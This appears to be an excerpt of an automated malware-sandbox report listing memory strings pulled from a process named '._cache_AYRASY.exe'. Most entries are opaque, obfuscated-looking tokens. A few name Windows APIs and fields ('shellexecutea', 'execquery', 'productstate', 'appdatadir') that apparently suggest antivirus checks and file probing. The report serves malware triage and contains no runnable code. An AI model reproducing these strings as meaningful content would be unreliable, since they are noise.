Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1ql7cn9w7iu5k	memstr_c9335370-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1ql7cn9w3sk4v	memstr_eb14d0c1-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f0cv4vm9nd2wo	memstr_c7cbc3a2-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f0cv4vm9nd2wf	memstr_c38ed4d1-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5ta	memstr_e192cec7-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8pb2bx2j7wx	memstr_638ef503-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8pb2bx2js	memstr_00f47b43-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6vk9ij3sk4vj	memstr_5d4ae707-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5t\	memstr_92d13ca5-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5tw	memstr_fb2cc036-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b1xs9wu1ym2g.	memstr_0794b33d-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i8bx1zm7w)	memstr_2d649516-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5t	memstr_771cf534-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5t;	memstr_99b0bc18-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b2kv4rk7iu5k2	memstr_b9d91691-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b1xs9wu1ym2g	memstr_6484d4a0-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u3on4iq4p7e	memstr_fe23dced-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s5xl9kj0ba0d	memstr_1e6934c6-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p4ap0ca0sr7e	memstr_3434016e-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c9ug7dm1n	memstr_cd9d6943-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6bl5zq8r	memstr_75db682d-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u3on4iq4p	memstr_3f4e0d9b-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6tm6rb6v	memstr_e6625f62-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t6gf6bl5zq8r	memstr_7b0496f0-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: loopq8ro}	memstr_1f9a8002-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p4ap0ca0sr7eh}	memstr_4176d0bd-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6tm6rb6vinee}	memstr_bbc73176-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u3on4iq4p{}	memstr_ac13ff3b-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p4ap0ca0sr7eq}	memstr_166654fb-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t6gf6bl5zq8rj}	memstr_1bcb1532-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u3on4iq4pg}	memstr_b5c86a53-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p4ap0ca0sr7e@}	memstr_fc78fa68-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c9ug7dm1n]}	memstr_69baa1f7-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0ca0sr7ev}	memstr_1f1d5654-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t6gf6bl5zq8rs}	memstr_1b120154-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rror,}	memstr_3a40019d-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n9ui1nl8h8v)}	memstr_29e0bec1-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f0hm3bh8a"}	memstr_fb1c0e7e-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f0hm3bh8amal?}	memstr_aae9622c-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4xi4sa8o	memstr_349150b5-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u8yv4xn1vte	memstr_420008a4-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w	memstr_b814d83d-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m	memstr_f8653ef6-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n9ui1nl8h8v	memstr_8e08ba22-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u8yv4xn1v	memstr_f74f5620-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h	memstr_11faae07-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0ds9xx3uu8v	memstr_6b66f91f-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: osversion8v	memstr_fc66af35-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8s	memstr_ca94f8a0-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n9ui1nl8h	memstr_b5159dd3-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u8yv4xn1vxp	memstr_d753631c-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sw_shownormal	memstr_cf826605-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a7m	memstr_f7f827ba-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f0hm3bh8a	memstr_154327c8-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h2sc8s	memstr_ea8b33fe-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z7nx8hm0h	memstr_b4809194-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: application	memstr_a5fd8836-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u8yv4xn1vte	memstr_7002bfe9-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: documentn\|	memstr_76c6acc6-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e8pz6cx1de0wk\|	memstr_b307eb01-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hd\|	memstr_eeffb985-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shellexecutea\|	memstr_44ffc8c9-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4xi4sa8oz\|	memstr_886fbb29-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n9ui1nl8h8vw\|	memstr_7bc6856b-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2wp\|	memstr_9d370c75-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: findwindowswm\|	memstr_608b1760-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a8sf\|	memstr_187a511f-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: extended\\|	memstr_db7741c0-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8sy\|	memstr_a7672255-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mr\|	memstr_9a78e62f-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4xi4sa8o/\|	memstr_9f0dd266-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0ds9xx3uu8v%\|	memstr_256c4b26-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405091;\|	memstr_6f9425c5-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m4\|	memstr_72b9b063-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q6gh6lt1o1\|	memstr_efcbb203-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e8pz6cx1de0w\|	memstr_671d167f-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a	memstr_64451754-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m3bi6fc9ay0x	memstr_df5363c6-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: execquery	memstr_6969b5cd-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2eb9na0a7m	memstr_4f198b9a-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e8pz6cx1de0w	memstr_adfb356e-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a8s	memstr_6e6942cc-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2eb9na0a	memstr_8e18dfaf-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2eb9na0a0w	memstr_c91af37e-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: displaynamej{	memstr_c9e6975a-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e8pz6cx1de0wg{	memstr_c4bc75b9-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w`{	memstr_e636f695-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m3bi6fc9ay0x}{	memstr_c5f8b195-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405091v{	memstr_5ed7ff6b-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8ss{	memstr_985a102e-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8sl{	memstr_8c6c4277-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hb{	memstr_bb3f4c0c-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w7m_{	memstr_243b46f7-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a7mx{	memstr_6a050ddf-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hu{	memstr_ad9321d7-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h.{	memstr_c1f04e98-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e8pz6cx1de0w+{	memstr_e03fc5e1-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h${	memstr_fd60883f-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a7m!{	memstr_bfda8da5-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w:{	memstr_e2ba63a9-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m7{	memstr_76eee908-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a5h0{	memstr_a5212589-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: productstate	memstr_835c804d-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6xh2sc8s	memstr_ba0cbe98-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6cx1de0w	memstr_386ab926-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p9fw1cq6d	memstr_6801b0e4-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hmz	memstr_282d122f-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a8scz	memstr_6e013d70-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: de0wrz	memstr_2b59ab7a-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mez	memstr_dc3c4a44-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v3fd5jh1al9x^z	memstr_7ceb5a47-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w[z	memstr_66b8d145-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8stz	memstr_01bd694f-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0aqz	memstr_429db2eb-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w*z	memstr_a20974c1-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e8pz6cx1de0w'z	memstr_1220b32f-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a6z	memstr_91ba4074-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w8gh6xj8m3z	memstr_e9632e19-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l3cy5rl7mu9tz	memstr_e18413a5-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: userprofiledir	memstr_05e7e6c5-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e0yu4to4m	memstr_02430501-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m7ou4td9b	memstr_6972871e-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z2nq4ft7qw0zz	memstr_6b777840-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u7rh3pp5v5h	memstr_d58532f5-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n2xx6fr2h	memstr_57c8061e-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iledir	memstr_b517ccbc-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n9lb6kn0j	memstr_f71dc2fe-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4rs9cc4y	memstr_c0d50183-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u8eo4bx8x	memstr_d9fdcc69-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u7rh3pp5v	memstr_e163c431-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v3fd5jh1al9x	memstr_6427adb2-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z2nq4ft7qw0z	memstr_bb46ccf7-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f3sy9hf6f	memstr_0a56bb0b-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2sg2zk4k	memstr_24778577-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8siy	memstr_c24ea0c5-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2wxy	memstr_d94cde37-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7muy	memstr_b386d7e2-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hny	memstr_7ebb9851-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a8sky	memstr_25ed6845-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mdy	memstr_7a5b45f7-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9tt7ou5hay	memstr_2a71fb1c-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a8szy	memstr_19202050-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2wpy	memstr_5bf7c5a5-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a9t-y	memstr_2d19f01f-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appdatadir&y	memstr_4159e0ce-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h#y	memstr_d53fcf04-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m<y	memstr_ad48fbfb-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8s9y	memstr_e153f208-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h2y	memstr_fc382bee-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w7m	memstr_ad95a037-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l3cy5rl7mu9t	memstr_d5bb0806-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o7eg9pv6em4a	memstr_a02ffd20-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q4ia2ok9ii4a	memstr_8f2a9531-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t2ky9la2lleft	memstr_905d9c81-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m8kg8my1k	memstr_21180537-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1884050258s	memstr_62173e6e-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0aox	memstr_996fbbc8-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m8kg8my1khx	memstr_d3a935db-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m8kg8my1kex	memstr_447be1c7-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t4np7lz8iu9f~x	memstr_bcee140c-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m{x	memstr_b9c36717-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0atx	memstr_45f4ae70-d
